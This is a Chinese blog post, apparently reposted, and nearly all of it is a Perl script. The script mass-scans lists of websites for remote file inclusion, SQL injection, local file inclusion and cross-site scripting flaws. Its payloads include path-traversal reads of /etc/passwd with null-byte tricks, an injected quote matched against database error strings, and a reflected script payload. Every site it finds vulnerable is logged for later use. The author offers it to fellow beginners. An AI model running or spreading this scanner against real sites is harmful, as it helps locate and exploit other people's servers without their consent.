下面这段是从网上DOWN来的,试了一下可以运行,但说明不太好。
而且漏洞很多,这几天我来改一下,呵呵。。而且加些说明,让我们自己这种菜菜能看懂咯
#!/usr/bin/perl
use LWP::UserAgent; use HTTP::Request; use LWP::Simple;
inicio: $sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; } system("$cmd");
print "###########################################################\n"; print "# [漏洞扫描脚本][修改版] #\n"; print "# |ha0k| ha0k| ha0k| ha0k| ha0k| ha0k| ha0k| ha0k| #\n"; print "# 扫描漏洞种类 - RFI, SQL, LFI, XSS. #\n"; print "# code by ha0k . #\n"; print "# #######just for justice######## #\n"; print "# site: #\n"; print "###########################################################\n\n";
print "主菜单:\n\n"; print "1. 测试RFI漏洞\n"; print "2. 测试SQL漏洞\n"; print "3. 测试LFI漏洞\n"; print "4. 测试XSS漏洞\n\n"; print "目标: "; my $opcao=<STDIN>; if ($opcao==1){&RFI} if ($opcao==2){&SQL} if ($opcao==3){&LFI} if ($opcao==4){&XSS}
#######
# RFI #
#######
sub RFI {
print "\n#######\n"; print "# RFI #\n"; print "#######\n"; print "\n输入要测试的网址列表:\n"; print "Ex: Sites.txt, Lista.txt etc...\n\n"; print "列表中的网址格式如下:\n"; print "/index.php?pg=\n\n"; chomp($lista = <STDIN>);
system("$cmd");
print "->搜索RFI漏洞,请稍后......\n\n";
open(LISTA, "$lista"); while(<LISTA>) {
my $lista = $_; chomp $lista;
my $rfi= "/ha0k.txt";
my $url=$lista.$rfi;
my $req=HTTP::Request->new(GET=>$url); my $ua=LWP::UserAgent->new(); $ua->timeout(15); my $resposta=$ua->request($req);
if($resposta->content =~ /D3str0y/){ print "[+] 存在漏洞 -> $url\n"; open(a, ">>LISTA_RFI.txt.txt"); print a "$url\n"; close(a); }else{ print "[-] 不存在漏洞 <- $url\n"; } } print "\n结果保存在 LISTA_RFI.txt\n"; print "\n按 ENTER 键进入主菜单...\n"; <STDIN>; goto inicio; }
#######
# SQL #
#######
sub SQL {
print "\n#######\n"; print "# SQL #\n"; print "#######\n"; print "\n输入要测试的网址列表:\n"; print "Ex: Sites.txt, Lista.txt etc...\n\n"; print "列表中的网址格式如下:\n"; print "/ha0k.php?id=99\n"; print "或者:\n"; print "/ha0k.asp?id=99\n\n"; chomp($lista = <STDIN>);
system("$cmd");
print "->搜索 SQL漏洞... 请稍等...\n\n";
open(LISTA, "$lista"); while(<LISTA>) {
my $lista = $_; chomp $lista;
my $sql="'";
my $url=$lista.$sql;
my $req=HTTP::Request->new(GET=>$url); my $ua=LWP::UserAgent->new(); $ua->timeout(15); my $resposta=$ua->request($req);
if($resposta->content =~ /You have an error in your SQL syntax/ || $resposta->content =~ /MySQL server version/ || $resposta->content =~ /Syntax error converting the nvarchar value/ || $resposta->content =~ /Unclosed quotation mark before/ || $resposta->content =~ /SQL Server error/ || $resposta->content =~ /JET/){ print "[+] 漏洞 -> $url\n"; open(a, ">>LISTA_SQL.txt"); print a "$url\n"; close(a); }else{ print "[-] 未找到 <- $url\n"; }} print "\n结果存放在 LISTA_SQL.txt\n"; print "\n按 ENTER 进入主菜单...\n"; <STDIN>; goto inicio; }
#######
# LFI #
#######
sub LFI {
print "\n#######\n"; print "# LFI #\n"; print "#######\n"; print "\n输入要测试的网址列表:\n"; print "Ex: Sites.txt, Lista.txt etc...\n\n"; print "列表中的网址格式如下:\n"; print "/index.php?ha0k=\n\n"; chomp($lista = <STDIN>);
system("$cmd");
print "->搜索 LFI漏洞... 请稍等...\n\n";
open(LISTA, "$lista"); while(<LISTA>) {
my $lista = $_; chomp $lista;
@lfi= ('/etc/passwd', '/etc/passwd%00', '../../../../../../../../../../../../../../../etc/passwd', '../../../../../../../../../../../../../../../etc/passwd%00');
foreach $bug(@lfi){
my $url=$lista.$bug;
my $req=HTTP::Request->new(GET=>$url); my $ua=LWP::UserAgent->new(); $ua->timeout(15); my $response=$ua->request($req);
if($response->content =~ /root:x:/ || $response->content =~ /root:*:/ || $response->content =~ /root:!:/){ print "[+] 找到 -> $url\n"; open(a, ">>LISTA_LFI.txt"); print a "$url\n"; close(a); }else{ print "[-] 未找到 <- $url\n";} } } print "\n结果存放在 LISTA_LFI.txt\n"; print "\n按 ENTER 进入主菜单...\n"; <STDIN>; goto inicio; }
#######
# XSS #
#######
sub XSS {
print "\n#######\n"; print "# XSS #\n"; print "#######\n"; print "\n输入要测试的网址列表:\n"; print "Ex: Sites.txt, Lista.txt etc...\n\n"; print "列表中的网址格式如下:\n"; print "\n\n"; chomp($lista = <STDIN>);
system("$cmd");
print "->搜索 XSS漏洞... 请稍等...\n\n";
open(LISTA, "$lista"); while(<LISTA>) {
my $lista = $_; chomp $lista;
my $xss= ('s[1]">XSS');
my $url=$lista.$xss;
my $req=HTTP::Request->new(GET=>$url); my $ua=LWP::UserAgent->new(); $ua->timeout(15); my $response=$ua->request($req);
if($response->content =~ /XSS/){ print "[+] 漏洞地址 -> $url\n"; open(a, ">>LISTA_XSS.txt"); print a "$url\n"; close(a); }else{ print "[-] 为找到 <- $url\n"; } } print "\n结果存放在 LISTA_XSS.txt\n"; print "\n按 ENTER 进入主菜单...\n"; <STDIN>; goto inicio; }
|
阅读(1175) | 评论(0) | 转发(0) |